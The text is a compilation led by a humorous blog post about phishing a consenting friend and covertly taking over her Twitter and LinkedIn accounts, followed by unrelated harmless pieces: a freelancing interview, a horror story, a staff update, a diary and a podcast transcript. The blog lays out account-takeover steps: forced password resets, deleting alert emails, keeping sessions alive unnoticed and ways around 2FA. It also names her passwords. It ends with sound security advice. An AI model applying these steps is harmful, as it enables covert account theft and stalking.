Go to Twitter and reset her password
Click the password reset link that gets emailed to her
Set her password to qwerty1
Delete the password reset email
Delete the "New Twitter Sign In" email
Re-enable email forwarding
The combo move in this is setting her password to qwerty1. When I phished her email password, she tried to log in to her email with qwerty1 even though that's not her password. This tells me that she thinks her password for everything is qwerty1, or at least, that's what she'll try if she's not sure. The technical term for this is next-level mindgames💻💻💻.
I do the steps above, and I'm now logged in to Diana's Twitter account. I tigheten up her Twitter security settings because I'm a Good Boy. I HOPE that Diana will be able to log back in as well, and not wonder why she suddenly got logged out. I wait stressfully for her to tweet something, and after a day or so she retweets a cute doggo, so we're good to go.
Now I want to do the same thing on popular dating website LinkedIn. This will involve signing Diana out of LinkedIn on all her devices, and I don't want her to get too suspicious, so I wait a week. I do the same process as with Twitter. This time I don't even wait until Diana is asleep, because I'm young and invincible.
As I'm setting Diana's password on LinkedIn back to qwerty1, LinkedIn doesn't let me.
Is this because qwerty1 was a password present in the LinkedIn hack in 2012? Or because it's just a common password? For a brief moment I panic, but then I realise I can just set Diana's password to her email password, wertyu2.
Astute readers will have noticed this little guy in the screenshot above.
LinkedIn is asking me if I'd like to log out of Diana's LinkedIn account on all devices while I'm resetting the password. That's REAL nice of you to offer old mate LinkedIn but I'm absolutely golden as it is in terms of logouts so don't even worry about it I'll be just fine how it is NO REALLY don't trouble yourself, I'm sure your CPU cycles are busy displaying everyone's 6000 word Thinkpieces about "Cyber" for "Non-technical Business Decision Makers".
Yeah so I submit that form 100% checkbox-free, and Diana remains logged in to LinkedIn on all her devices, none the wiser.
Step 2: Bring in the green boys
I enlist the help of a talented friend to photoshop everyone's #1 boy next door Luigi subtly into Diana's profile picture on Twitter, like a green guardian angel.
I can't show you Diana's pictures, so here's me doing similar photoshops to Your Boy And Mine, Five Time Celebrity MasterChef Winner And The Inventor of Bitcoin, Give It Up For Dr. Barack Obama Everybody:
At about this time I tweet about our sweet green boy so that if Diana sees her guardian angel Luigi, she'll know it was me. This is like my calling card except.... well it's not really like a calling card it's pretty dorky to be honest but just LOOK at that wholesome lad, you just KNOW he'd help you fix a flat tyre, and he'd just be too gosh darn polite to correct you if you said "thanks green mario" so really if you think about it I guess it IS like a calling card.
Next up I log into her LinkedIn account, get overwhelmed by her 15 LinkedIn notifications, 7 new profile views, 11 new Key People To Bother, and several pop ups telling me about new features I can use to invite people to join my professional network on LinkedIn™®©. Then I change her profile picture to my really good version.
For about a week, Diana continues her Twitter and LinkedIn(?) usage whilst being silently Luigi'd. Diana goes on viewing what I can only assume to be the sharpest international political discourse on Twitter, and getting slightly more LinkedIn profile views from observant recruiters who are also fans of the hit 2001 ghostbusting game, Luigi's Mansion.
Well that just about wraps up Operation Luigi. Glad that's all done and dusted.
Although...
I'm basically a Luigi technician at this point, and it would be a shame to let all that work go to waste. So let's just do
~one more thing~
Operation Waluigi: A dark turn for mature audiences
Waluigi, true to his character, is much more direct.
Damn RIGHT this new profile strength is "Advanced."
Please enjoy these half-baked opsec-enabled26 tweets27.
I also make Diana follow a bunch of Waluigi fan accounts (there are a lot), Nintendo of America, and @EmojiAquarium because it's a damn good account.
Part 5: Epilogue
Diana likes her new Waluigi life so much she keeps it all up there, and even changes her Facebook photo to a Waluigi'd one.
I meet up with her and ask her about her side of the story a few days later.
Here are some choice quotes:
"I've since listened to a lot of Waluigi songs" "Waluigi is the ultimate symbol of postmodernism, he exists only as a foil"
I ask her "How do you think I did it?". She says I must have hacked her email and reset her Twitter password, but she has no idea how I hacked her email.
When I show her the email chain with Kathleen on my computer her jaw drops for several seconds.
"You catfished me!"
We go back to the same ramen place after the interview. The credits roll.
"wait but i am very afraid after reading this blog post, how do I not get 360 noscope hacked like diana tho"
Hey kids, it's me, "Alex". We've had a lot of fun today, but now it's time to talk about the real issues. The moral of this story is that it's really easy for someone else to know your password. Fret not, for you are young and extremely online, and it's not too late for you yet.
Step 1: Go to https://haveibeenpwned.com and type in your email address. This doesn't actually do anything, it's just to instill sufficient fear in you.
Step 228: Go to your email and enable "Two-step Authentication". You can go to https://www.google.com.au/landing/2step if you use gmail. If you use Hotmail then I dunno, there's probably like a SkyCloud 360 X LIVE subscription you can buy that lets you do it.
Now, as well as your email password, you also type in a code from an app on your phone. Or you can have the code SMSed to you on your pastel-pink flip phone if you wanna relive the 90s29.
If Diana had Verified Good Content Two-step Authentication turned on, then I would have had to get a two-factor code AND her password. I would have had to either:
Phish the code as well as the password (but the code expires in less than 60 seconds)
Physically go to the same place as her, connect to the same WiFi, and steal her browser session
Email her a Word Doc with a macro in it that gives me control of her laptop, and steal her browser cookies from it
Call up her phone provider and trick them into pointing her phone number at my SIM card
All of these are more work and higher risk, and so hackers often just move on to lower hanging fruit. That's you in this situation. You're the delicious fruit. And the hackers are.... giraffes? Yeah. Watch out for giraffes.
Freshly baked shoutouts to My Absolute Homeslices for being my blog-review senpais, Diana for being chill, and to the hacking software released at DEFCON 25: Aerobatic dot io
If you want to talk to me about this, hit me up in the tweet zone (@mangopdf) or direct your browser to mango.pdf.zone
A careless mistake ↩︎
Obviously the best way is to not give permission to meeeeeeeee😎 ↩︎
I found her LinkedIn by just googling her name #pwned ↩︎
wait did he just say "hacker voice I'm in"? ↩︎
I haven't realised yet that successfully resetting Diana's iCloud password would lock her out of her account and violate our agreement. This is because I'm a weapons-grade bozo. ↩︎
On haveibeenpwned.com, Diana's email address shows up in a data dump from this website. It's a game of some sort? ↩︎
Later when I interview Diana, she says "I use exclusively Google Docs", so I was right! No comment about the avocado thing. ↩︎
I'm not making these up, these are real words that real hackers use I swear. ↩︎
Diana didn't have LinkedIn in 2012, so she's not in the list. But some of the 20 people who had the same password as her sure did. ↩︎
tag urself lol ↩︎
I also try guessing what her password could be based on the password I already have for her (qwerty1) but it doesn't work. ↩︎
low ↩︎
effort ↩︎
From 2002 do NOT @ me ↩︎
This makes no sense, since she'll be reading her Hotmail, and then asked to log in to the same thing she's already reading, but NON-fake websites have bad enough UX that this is believable. ↩︎
I steal all that good stuff after the URL from the Google sign-in page ;>_> ↩︎
Awkwardly, Hotmail changed its login screen shortly before this blog post came out. It used to look like that I swear. ↩︎
There are a few reasons this email wasn't attention grabbing. It was automated, from a company (not an actual human), and wasn't specifically about her, but about her account. ↩︎
When I interview her later, Diana says she looked up the company! She even says that getting back to Kathleen was on her to-do list, the poor thing. ↩︎
Months later, I notice I've left a "Lorem ipsum dolor sit amet, consectetur adipiscing elit" as a dot point on the resume. ↩︎
This is a genius suggestion from one of my ~hacker connections~. ↩︎
At this point Diana has been completely gaslighted as to what her hotmail password is, because my phishing site said the wrong password was right, and then said the right password was wrong, and she thinks it's the real Hotmail. ↩︎
I mean it WOULD be pretty funny ↩︎
And wow you could do anything, book flights, get a job, change your name... ↩︎
Just letting any Government Agents reading this know that I did NOT end up doing anything with this and I love democracy. ↩︎
If you really tried you could probably find Diana's Twitter from these. You would then be a hacking genius, binary flowing through your veins, and have a CVE number assigned to your personally. I, a humble wannabee, am relying on your strict ethics to prevent you from, uh, stalking the friend of some guy whose blog post you read. You can do it. I believe in you. ↩︎
Having said that, I don't really have an overwhelming amount of faith in the idea that someone won't try to do that. You can stay chilled out, dear reader, since before this blog was published Diana and I had a nice chat and fixed up her personal security. ↩︎
Password managers like LastPass are also good for giving you unique passwords, but I reckon 2FA is the best effort:security ratio value For Normal People Tee Em. ↩︎
But, this is less secure, since your phone number can still be hijacked. ↩︎
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Work As A Freelance Writer Or Virtual Assistant
Hello! I have an extremely informative interview to share with you today that will show you how to make money online as a freelance writer or virtual assistant. My last side hustle interview with Caitlin on how to become a freelance proofreader was quite Work As A Freelance Writer popular. Due to this, I knew I had to interview another successful friend of mine about a different type of online business that many of you have expressed interest in as well.
Today, I want to introduce you to my friend Gina. She is a professional writer and virtual assistant. In just six months, Gina was able to earn over $4,000 per month as a writer. Work As A Freelance Writer
In our interview, she shows how this can be a possible career or side hustle choice for you as well.
If you are looking for a new job or even just a side hustle, this may be something for you to try.
Check out the interview below for more information on how to become a freelance writer or virtual assistant.
P.S. She also has a great free writing course as well as a free virtual assistant course if you want to try them out for free.
Related articles:
75+ Ways To Make Extra Money
10 Ways To Make Money Online From The Comfort of Your Home
My Online Business Income Reports
Please give us a little background on yourself and how you became a freelance writer and virtual assistant.
Hi, my name is Gina Horkey and I’m a married, millennial mama to two toddlers, currently ages two and four. My lovely husband has the patience of a saint and stays at home with them on the daily.Work As A Freelance Writer
He quit his job going on three years ago after we priced out daycare for two kids under two (it’s crazy expensive!). Since he’d always wanted to become a SAHD, we made a bunch of budget cuts and made it happen!
My former career was as a financial advisor and support person to a large financial planning practice. I liked my clients, co-workers and some of my work, but it wasn’t “what I wanted to be when I grew up.” Since I was only 30 (yet had already been working in the biz since age 21), I couldn’t imagine another 30 years doing something that I wasn’t really passionate about.
So I started a freelance writing side hustle while working full-time and raising two toddlers (one who was actually under one at the time). Writing, and learning more about online business in general, led me to approaching my first virtual assistance client and asking him to hire me. The semi-predictable income really appealed to me, especially as I was gearing up to quit my day job and I was the sole breadwinner.
With a lot of motivation, dedication and fear busting, I was able to build up my new freelance business enough to put in my notice and go full-time at the end of 2014. I haven’t looked back since!
Can you explain what exactly a freelance writer is, who they write for, etc.?
A freelance writer is just a self-employed writer who markets his or her services to individuals, businesses or both. Freelancing means that instead of having an employer, you have many clients that you work with at any given time.
No one is feeding you work, so it’s your responsibility to put yourself out there and source writing gigs. I started out primarily writing for online publications – like blog posts, case studies, and website copy (and this is still primarily the case). One could also write for print publications, textbooks, etc.Work As A Freelance Writer
Side note: Gina has a great freelance writing course I recommend you take. You can find that here. Her courses are extremely affordable and I've heard great things about them.
What exactly does a virtual assistant do? Who are their clients?
As a virtual assistant, I like to market myself as the frontline of a webpreneur’s (online business owner) business.
VA tasks can vary greatly, but a lot of the time it breaks down to doing tasks that the entrepreneur or small business owner doesn’t like or doesn’t have time to do. Email management is a big one for both of my clients – they just don’t have the time or desire to keep up with all of the inquiries or client requests.
Other VAs may focus on social media management, formatting, and editing blog posts, scheduling appointments or travel. Basically, you can get paid to do any task that needs to be done in someone’s business, but doesn’t need to be done by them.
I’ve found online business owners (webpreneurs) to be a great niche, as they “get” working virtually. But there’s nothing to say you couldn’t contract with a local brick and mortar and work out of your home, instead of in their office.
The big benefit for the client is that you’re not an employee. They don’t have to provide you with benefits, vacation or sick time or pay employment taxes. All of that is your responsibility.
Side note: Gina has a great virtual assisting course I recommend you take. You can find that here.
How much can a beginner freelance writer or virtual assistant expect to make? How much can a person expect to make around one year after they start?
Oooh, rate questions are always so interesting. I’m going to start with the “it depends” answer and then share some of my experience.
It does depend on your experience and qualifications. I had a lot of experience in the financial services industry, which as a writer is a lucrative field. This helped me to charge higher rates (think $.30/word) – the challenge is finding clients willing to pay those rates.
From what I’ve seen, most writers start out making under $.10/word or less than $50 per post. But as their experience and marketing prowess grows, they find themselves charging hundreds of dollars per article.
As a VA, many start out hourly. I quoted my first VA client $34/hr and he didn’t blink. I now charge either a weekly or monthly retainer, but don’t track or turn in hours. According to the research that exists, the average rate for a North American VA is $35-50/hr.
Again, from what I’ve seen, it’s probably more like $15-50/hr. It’s all about knowing your strengths though and how you can put them into practice in someone else’s business to help them grow and earn a positive ROI (return on investment).
Here’s a great example of ROI and how to position yourself as an investment, rather than an expense:
Let's say an entrepreneur can bill out their time at $100/hr and they pay a VA $25/hr to take some tasks off their plate. If the VA saves the business owner 10 hours per week that they can then, in turn, bill out at the higher rate, that's $3,000 per month more in their pocket (or time back with their family).
What do you like about freelance writing and virtual assisting?
I like freelancing, in general, because I have control over my schedule, my time and get to choose who I work with. I’ve never met so many cool people, as I have since becoming a webpreneur myself.
Writing is a great medium for me to express myself. It’s almost like a word puzzle, where I have to figure out an enticing introduction, an informative and actionable body and a sharp conclusion that brings it all together.
VA work is great because I don’t have to write all of the time – I don’t think I’d be happy writing for 40 hours every week. Talk about burnout or writer’s block! Instead, I can do a certain set of tasks not associated with my business and not have to be creative for a bit. I also really like the predictability in salary, which doesn’t come with the writing side as much.
Lastly, VA work rocks because I’ve learned SO MUCH from the entrepreneurs I work with. I’ve learned a lot about sales funnels, writing stronger copy and using new tools too. It’s getting paid to learn, which is the very best way there is!
What if you’re not sure if either are a good fit?
I say try it anyway. If you don’t try, you won’t know.
And if you’re scared, that’s a double reason to get started and figure out if it’s for you or not. I’ve always subscribed to the thought that if I was going to try something new, I’m either going to succeed or fail hard. There’s no in between.
How much does it cost to start these side hustles and how much on a monthly basis to maintain it?Work As A Freelance Writer
You could get started literally for free. I spent ~$200 to launch my business and then didn’t spend any more until I was making money (which I was able to do the very next month). I spent that money on my URL and hosting, a job board membership and a Yahoo! Style Guide.
As my business has grown and changed, I’ve seen my expenses do the same. But I’ve always used the profits from my business to reinvest in it.
As long as you have a computer and access to a strong internet connection, you’re pretty well set. That’s part of the beauty of online work.
Make Money Online As A Freelance Writer Or Virtual AssistantWhat do you love about being able to make money freelance writing and virtual assisting?
Again, it just comes down to the freedom of choice. After getting a taste of it, I’ve found that I’m also really passionate about online business.
I’ve been able to build my own business and make my own decisions. I.e. If I’m interested in launching a paid Mastermind for Mamapreneurs, I can. I don’t have to get anyone’s permission.
Best of all, though, we’re finally cashing in on this flexible schedule thing and heading from Minnesota to southern Texas for a month this winter. I would have never been able to do that if I was employed!Work As A Freelance Writer
It won’t be a month-long vacation per say, but I can take my work with me and get a tan at the same time (hopefully!). Our two toddlers won’t be cooped up in the house (it’s 0 degrees out as I’m writing this) and we can enjoy being together and see new places.
Lastly, are there any other tips that you have for someone who wants to try either of these side hustles?
I’m kind of a broken record with this one, but JUST. GET. STARTED!
Don’t wait until you’re ready (you’ll never be!). Don’t read everything on the internet to learn as much as you can before putting yourself out there and trying to find work.
As Nike likes to say, “Just Do It!” Figure it out on the fly and learn from doing – trust me, it’s been the best education ever!Work As A Freelance Writer
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Stroll and See
We stomp in the lobby doors, the jingle of the attached bells starts a Pigeon nesting above us. When we are in the lobby, she steps towards me:
“Why are you getting on me? It was your work party. I went for you. So – “
“Don’t go pulling that on me” I say as I take a step back “You seemed to be having plenty of fun with the new friends you made.”
“Yeah, seemed being the important word. You never notice what is really going on with me. You think just because I’m not making a scene it means I’m happy.”
Now I find myself being the one to step into her space “Yeah? Maybe I wouldn’t think that if you spent any time with me at the party inst– “
“Spend time with you? Spend time with you! All you did was get wasted. How – “
“I, was not. Wasted” with my hands clenched into fists “I, was just trying to loosen up.” the top of my head could pop off any minute, with a little mushroom cloud coming out of it, just like in the cartoons. “You are always saying I’m too bottled up.”
“Oh yeah, turn this back on me. That will sort everything. Because it is never your fault. I’m not paying enough attention to you, I’m not giving you enough space. I’m not being nice enough to your friends.”
With muscles as tight as if their grip on some imaginary rope was the only thing stopping me from falling a hundred feet, “I’ve said some of that. But, don’t. Put words in my mouth.” I turn to walk away and say “don’t follow me. I’m going up. You will stay at your place tonight.” With that I stride towards the elevator
“Hold up, don’t walk away from me. We are go– “
I push the button to call the elevator. “I’m not perceptive, huh? You can’t even see why you shouldn’t want to finish this right now.”
“Is that a threat?”
“It is an observation. Don’t push me.”
“Really tough guy?”
The elevator arrives, and I step in.
She starts to follow me into the elevator “Don’t think you’re just going to –“
I put my hand out catch her by the shoulder before she can get into the elevator. Other is balled, away from her, behind my back.
“So, you can’t even use your words now”
When the elevator doors start to close, I snatch my hand back.
“We will deal with th”
The doors shut, and my life-or-death grip on the rope slips and I slump to the ground like a bag of goo. It stops first on the third floor, not mine. Some drunk college kid, who probably just got done with one party, and is trying to find the next one, but couldn’t even remember the right floor starts to stumble into the elevator.
He takes one look at me sitting on the floor, gives me an awkward pat on the shoulder and says “You don’t look so good,” and steps back out.
I reach up to press the door close button, and the doors close behind him. I slam my fist against the metal paneling on the wall. “Ha, even the drunk guy has pity for me.” Starting to rise, “He may be the one intoxicated, but he isn’t the one talking to himself” The elevator chimes the fifth floor, and I step out. “Why did I” I catch myself before someone hears me and start walking to my room wondering why I ever went to the party in the first place.
Last week Jared, from HR, sent out an email to our department. That is how I found out about the party. I wasn’t even personally invited, but Jane is always on me about making new friends, ever since we moved out to this city filled with sky scrapers, towering things of rigid metal, standing straight as prison bars. You can’t see anything past them, you can’t see anyone in them. Nothing like being a regular at Danny’s Dinner: knowing the owner, Jerry, and waving through the windows when you don’t have time to stop in. But, I told Jane I wanted to be with her. So, I was going to make the best of things. She, of course, jumped at the idea of a party, she never found time to go to big parties in college, what with all the chiropractic information she had to cram in, I still can’t believe how much they have to learn just to push on your back.
I realize that I’ve been standing outside of my apartment, like an idiot, with my keys just sitting in my hand, for who knows how long. Probably not as long as I think. Walking over to the fridge I grab a can of sprite, and head to my tiny bedroom. After changing into more comfortable clothes, I open the window and swing my legs out onto the fire escape, my escape. Sipping on my sprite, I notice a pigeon to my left. I wonder if it is the one we displaced with our entrance. “Hello there, pigeon, I’m sorry if we disturbed you.” There was a pigeon the other night too.
That night, we were at her studio apartment, I was on the roof when I saw the pigeon. We had fought earlier. I had tried to bring up the idea of moving back home,
she replied with “Come on Dan, just give the city a chance.”
I tried to tell her how I missed the strip malls that didn’t have all the stores of the big malls here, but where you knew what all the stores had. How I loved her, but I still missed all the people from back home. How I knew I said my Christmas present was that I’d join her as soon as I graduated in the spring.
She just told me about all the “wonderful” things the city had to offer. “There are so many new people to meet.” “People that don’t all think the same way, like back home.” “Could you get a job as nice as the one you have now back home? I don’t think so.” “I need to be here because there are more people here, more people means more opportunities to get clients. I need this.”
I wanted to say “This city has me so turned around I can’t even see you standing in front of me.” but, I was too worried of the knives that my flight out of my mouth instead. In the end, I just told her “You’re right, I just need to give it time. I’m probably just grumpy from being tired, why don’t we go to bed? I’ll feel better tomorrow with a good night’s sleep.” Such a simple balm, but it soothed her. After we went to bed, she fell asleep right away, curled up against me. It felt like she was leaching my body heat. So, I slipped out of the bed, carefully put on a jacket, and went up to the roof. I ended up just sitting there watching this pigeon sitting carefree in the night. Black beak placed in front of red eyes that look out from the sides of the head. A little white strip across the top of the beak, where the nose would be on a human’s face. All placed on top of a regal neck of black with sparkles of iridescent green and purple. Light grey bodied, with dull grey tipped feathers, and pale orange feet. Unperturbed by the sounds of cars below, or wind buffeting its feathers.
Looking now at the bird in front of me, on the railing of the fire escape, I notice something I hadn’t seen before. There is a slim line of darker feathers running from the center of his chest straight up over the beak, over the top of his head, and back down the other side. I hadn’t realized pigeons looked like that before. Jane would probably say that was because I don’t notice little things like that. Or, her apparently obvious despair at the party. But, would she have even noticed the pigeon in the first place?
I hear a pounding at the front door. Not even waiting to hear who is at the door, I just step fully onto the fire escape, and shut the window behind me. Startling the pigeon into flight. When he takes off, I catch a flash of pale orange on the underside of a wing. Then, just like it, I fly away, just using legs instead of wings, and staying on the ground instead of gliding into the air… I clamber down the fire escape. The pounding receding behind me.
I quickly stride out of the alley and onto the street behind my building. Feeling the fresh night air on my face, I feel called by nature, and repelled by the city. So, I head to the park a few blocks away. On the way, I pass by a sparkling fountain lit from below on the night. On one part of the surrounding ledge, a black cat crouches, intently watching a pigeon at rest farther down the ledge. I’m no cat expert. So, I can’t figure out if the cat is wary of the bird or ready to pounce. Either way, I think I like the bird. I fantasize that he is the same one that was on the roof of her apartment, above the door of the lobby, and out on my fire escape. I imagine that in this city where I know so few, I might know this bird. Now that I know to look, I can even see the slim dark line on this pigeon. I even notice something else this time. I can see two pinpoints of black amongst his shoulder feathers, glimmering as they reflected the light of the fountain. Entertained by the imagined connection I have with this bird, I stroll on my way to the park. Past the glittering lights of shops, and away from the streets still busy, even at this time of night, I walk to the park and into the cover of trees. Walking along the path of beaten down grass, I hear the rustle of leaves overhead, most likely squirrels interested in my entrance to their domain.
As I walk back out from the shelter of the trees, refreshed and ready to try and impart my feelings to Jane, I hear a greater rustling above my head, and see a shadow cross over mine, and move past me. A pigeon lands some feet in front of me. Looking to see if anyone else is around, I crouch and say: “Hello, have you come to wish me well? You probably don’t understand me, but I’ve appreciated the company. Thank you.”
Seemly in response, it dips its head low. It opens its wings, turned downward, and begins to walk towards me.
A curious sight, although I can’t say as I have really watched a pigeon walk before. As it starts to get within a few yards, I hear how distant the cars are, that I don’t hear any squirrels rustling in the trees. The empty grass of the park stretches out in front of me, interrupted only by a bench, and the pigeon. I stand. The pigeon continues its advance. It is within a few yards, and I start to circle around to its left.
It turns to follow my movement. It crouches lower, and tilts its wings up, baring their underside.
Now, I see that it has pale orange claws hidden under its wing tips. I think I should have run earlier.
It’s red eyes separate from the head, flaring slightly outwards, like the nostrils on a dog opening. Planting its right foot forward, its still dipped head splits down the middle, along the dark line that runs up and down what I had thought was a head. Inside is a yellow mouth lined with tiny grey teeth. Given this new perspective, I see the dots on its shoulders, that had shined in the light of the fountain, for what they are: this thing’s true eyes. Springing into the air it half jumps, half glides at me.
I turn to run, but feel claws grab hold of my back, just below my shoulders, tiny needles jab into my shoulders, and finally I feel teeth lock onto my neck. They don’t have birds that eat you back home, but your big city does, Jane.
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Instructional Team Update
by Dan Roberts, Lead Instructor, Interim Director of Education
Hello Ada community!
I've spent some time reading through your responses to the strategic planning survey we sent out a few weeks back. Something that stood out to me from the written comments is that we haven't done a particularly good job of communicating what the instructional team looks like these days. So with the "T" in SECRETS in mind, I figured I would write a little update on who's here and what we're working on.
Staff Movement
As you might have heard, Charles and Shruti both left the instructional team this spring. Shruti relocated to Boston and Charles has been traveling internationally. Both of them remain Ada fans and supporters, and you may even see Charles volunteering at Ada this summer to support capstones.
In the past Ada has scrambled to cover when an instructor leaves, but this time I would say we did alright. We brought Kaida Masaki on as a new instructional assistant in February, and she's done a fantastic job spinning up on our curriculum and tooling, and working on admissions for C12.
Heroic as always, in addition to his normal classroom responsibilities Chris covered the tail end of CS Fundamentals for C11. He will be transitioning to teaching CS Fundamentals full-time starting in C12 - be sure to congratulate him if you see him. We're quite excited about the ideas he has about where to take the curriculum, particularly around making sure everyone is prepared for interviews.
Devin too has been working hard - since she joined the team almost a year ago we've seen her grow wonderfully into the role of instructor. Now that she's overcome the challenge of the first year teaching she's started to make substantial contributions to curriculum and process, which is exciting to see.
One of the things we've been working on during this time is building out a hiring process for instructors that is efficient and repeatable. It's not as robust as I'd like it to be - we've struggled to find candidates of color, and the lead time for a hire is still too long. Even so, I would say Ada is much better equipped to hire an instructor now than it was in, say, December of 2017.
As evidence of that improvement, we had not one but two new instructors start on July 8th. Becca Elenzil is a high school computer science teacher with a Ph.D. in Bioengineering, and Jared Maddox is a full-stack software engineer with experience working with Ada students and alums. We're excited about each of them individually, but especially about the way their skill sets complement each other. Both will be classroom instructors for C12, Jared teaching the Branches classroom with Dee, and Becca teaching Leaves with Devin. You'll see proper introductions from each of them in the next week or so.
Leadership
"Wait a second Dan" you might say, "your name isn't on that list of teachers!" Good observation. I will be taking some time away from Ada during C12 to relax and travel, with the goal of returning to Ada in the spring of 2020. Let's talk about what that means for the team's leadership.
First, the Director of Education role. The DoE is the manager of the instructional team, and handles staffing, career growth, and coordination with the other parts of the org. I've been bungling through this in addition to my regular Lead Instructor job in an informal capacity since June of last year, and formally since the end of October.
This hiring process for DoE stalled out over the winter amidst the other changes that were going on, but since Christine Martin came on as our Interim Executive Director this spring we've made solid progress. TSNE HR will have my head if I give too many details, but I am confident that we will have the right person hired as Ada's Director of Education before the end of the summer.
Second, the Lead Instructor position. You can think of the lead instructor as equivalent to a technical lead on an engineering team - they're still teaching in the classroom, but they also establish best practices, coordinate instructor work, and serve as the final owner of the classroom experience. I am delighted to inform you that Dee will be taking on this role in August for the start of C12. Dee has been teaching with Ada for almost 2 years now, and they have done an excellent job of picking up the slack I've left while focusing on DoE work. They were a natural choice for the job.
Special Projects
I said I would be traveling "with the goal of returning to Ada in the spring of 2020." What exactly does that mean, and what might I be working on? A lot of that depends on the outcome of the strategic planning process, which we'll be wrapping toward the end of the summer, as well as the ideas the yet-to-be-hired Director of Education will have about where to take the instructional team. But there are a few opportunities that stand out as likely bets, which we're working to lay the groundwork for now.
One project I'm particularly excited about is rolling out a continuing education program for Ada alums. The idea of a post-Ada curriculum is something we've had our eye on for a while now, and it was one of the ideas that got the most enthusiastic response in the strategic planning survey (right up there with a pre-Ada program, which we're also currently investigating). We see this as a relatively low-cost, low-risk way to better support our community and further our mission, helping our alums to move up the career ladder and into senior and leadership roles. We also hope we can make it a space where alums can retreat from the male-dominated world of engineering, reconnect with each other and provide the mutual support and caring that Ada is known for.
There were definitely some concerns along with the enthusiasm in the survey and we want to make sure we get this one right, with an eye toward equity and supporting the members of our community who need it most. We have already asked for some community input on this project, and we'll be sending out a survey to alums in the next week or so to get a broader perspective. If you have thoughts on what we should offer, how much it should cost or how the courses should be structured that will be your opportunity to share them. If you have more nuanced ideas that don't necessarily fit in a survey response, send me an email (dan at adadev dot org) and let's go get coffee.
Final Thoughts
We had a pretty rocky time in 2018, both on the instructional team and at Ada in general, but in 2019 it feels like things have stabilized. There's an energy, a forward motion, an optimism that is refreshing and sorely needed. We have some exciting new hires and a plan to grow the program in a way that is responsible and sustainable. It may sound a little corny (or like I've drank a little too much Kool Aid), but I feel better about Ada's prospects right now than I have at any time since I started. It's almost enough to make me regret taking this time off.
Almost.
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The Conquest of S.A
today is Monday 10 of June 2019
Hello all ...... we are having a quiet afternoon...... for the last 3 days I have done 4 hrs. of heavy work outside......some of the golfers have seen me doing the work and the stop to say Hi.... I probably look like an Everest Mountaineer as I am fighting the slops, crevices and the obstacles .. today I finished unloading another 1 Ton of loam.... last week it was another 1 Ton of gravel ... the gravel I get at the quarry..... the funny thing is I have to line up my ute behind and in-front of BIG TRUCKS that can take 30 Ton ..... my ute looks insignificant .... like an ant .... and when the BIG front loader unloads 1 ton... the rear of my ute sinks to the ground...... the good thing is that I only need to drive aprox. 6 Km to get home.
next story is related to golf...... some years ago I found out that it is possible to register ones name in a lottery which results in the allocation of a FEW tickets to watch the MASTERS in Augusta ( Georgia- usa ) ....you may not know that it is IMPOSSIBLE to buy tickets for this famous event......and it is every golfers dream to be able to get access to such a prestigious location ..... well I have applied for the last 8 years..... without success...... you are invited by email to apply late in April and they notify the results in July for the event the following year..... the first time I was shy ..... and requested a day ticket ..... nowadays I am pretty desperate and apply for tickets any day of the week, even the practice days....... can you imagen my excitement if I am selected.... I will have to wait a few more weeks.Augusta National is a private club .... nobody get there unless you are member, a special invitee or during the tournament week with a ticket. WISH ME LUCK. During the last week I completed two extra sets of shelfs for the Pantry ..... there was an unutilzed corner and now is been put to good use ..... also a small unit for the spices ...... carpentry work is easy for me..... I got the full set of power tools and the work is confortable..... on the other hand the work outside continues to be at ground level..... it is a pain to get down on my knees...... but as from this week I am pain free.Last item today... before the photos.... Foxtel is going to show a mini series ( 5 episodes ) related to CHERNOBYL..... as you know I am passionate about everything ATOMIC... so I have ordered 2 books from the USA ( Amazon ) related to this event and I went back to one of my other books which has the story of all the atomic incident to date ( very few ) ..... so I read the chapter related to Chernobyl to familiarise myself with the Russian names which are not easy to remember I have also looked in youtube some video clips..... i want to absorbe as much information as I can.
We had friends for a nice BBQ
apart from the stakes I cooked Spinach fritters and a Spanish tortilla
Last week end Dawn cooked a Loin of Pork with a Chinese recipe ..... super nice
and last Saturday for another dinner party Dawn cooked Coconut Prawns ..... well look at the presentation
so my last two photos of today are related to my work
this is all for today...... happy week to everybody
Gus
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The Girl Who Set Out to Seek a Living Wage - Part 2 Transcript
This is a complete transcript of “The Girl Who Set Out to Seek a Living Wage,” Part Two. You can find the podcast itself HERE.
Part One Transcript is HERE.
When Rachel arrived at corporate, the building was so tall that the elevators were divided up. She counted past the set for ten floors, then twenty. In the end, she went up almost thirty floors and stepped out into a wide, tiled lobby. A receptionist waited behind a desk, and watched Rachel as she lingered in the doorway.
The receptionist spoke first. "Hello. Are you here for a meeting?"
"No," Rachel replied, and then was not sure what else to say. She decided on the truth. "Well. I'm here to bring ruin to our bosses, these executives who have brought ruin to so many others."
"Then I'm afraid I shouldn't let you pass," began the receptionist. "But we often do what we shouldn't."
Rachel asked, "Would you like it if I brought ruin to them?"
The receptionist said, "Oh, yes. For as you say, they have brought ruin to many others. If I had another choice, I wouldn't be here, either."
Rachel replied, "Right? But we've got to find our fortunes, or at least a living wage, somehow. And it seems like they hold the only means to do it. Who else could we rely on?"
They spoke for a time. It was only nice to meet someone else who understood, and they ended up telling each other about why they were there, and how they had been forced to seek employment.
Now as we’ve said before, Rachel's family just could not support her any longer, and even if they'd been able, it wouldn't have felt right to ask for the shame of it.
As for the other woman, her name was Kayla, and she was a trans lesbian who had graduated college, only to find no work in her field.
She had studied her passion - literature, as it happened. The adults in her life had practically demanded this of her, and well, it was her special interest. So she had followed her dreams, but now - oh, if only, if only she'd been more practical, they said. Then she might have found it easier to repay the kind of people who could have afforded the loss, anyhow. But she had signed contracts, and ink was as good as blood to certain beasts.
So Kayla had no choice. She took what she could get, and spent her days smiling at greedy scumbags and running the postage machine.
They both deserved better, but they couldn't have it while they spent all their time merely earning their keep. Perhaps that was the problem - they should not have to earn their keep at all, they decided, but rather they had a right to it and they were tired of people withholding it from them.
So Kayla said, "I'm coming with you, and we'll bring ruin to the executives together."
Rachel asked, "Do you know if they're truly beasts?"
Kayla answered, "So I've heard. And I think if we can get enough people to see them for what they are, then we should be able to defeat them."
So to start with, they went to the Executive Assistant, so that they could arrange a meeting with the executives themselves. But in order to see her, they had to see her own assistants, of which there were three. Each of these were in a perfectly necessary and sensible position, or so those above them thought. For the work in the office was never-ending, whereas surely their retail locations only needed one person on the registers at a time. If they received complaints, it only meant that that person was not working fast enough.
In any case, they discovered the assistant of the three assistants first. This person explained to Rachel and Kayla that if you spoke to their colleagues one truth each, then they would let you pass. But it must be the truths closest to your heart, or you could never get by. Then you would have to leave a voicemail, and only luck would say if you'd hear back, so you might never get a meeting.
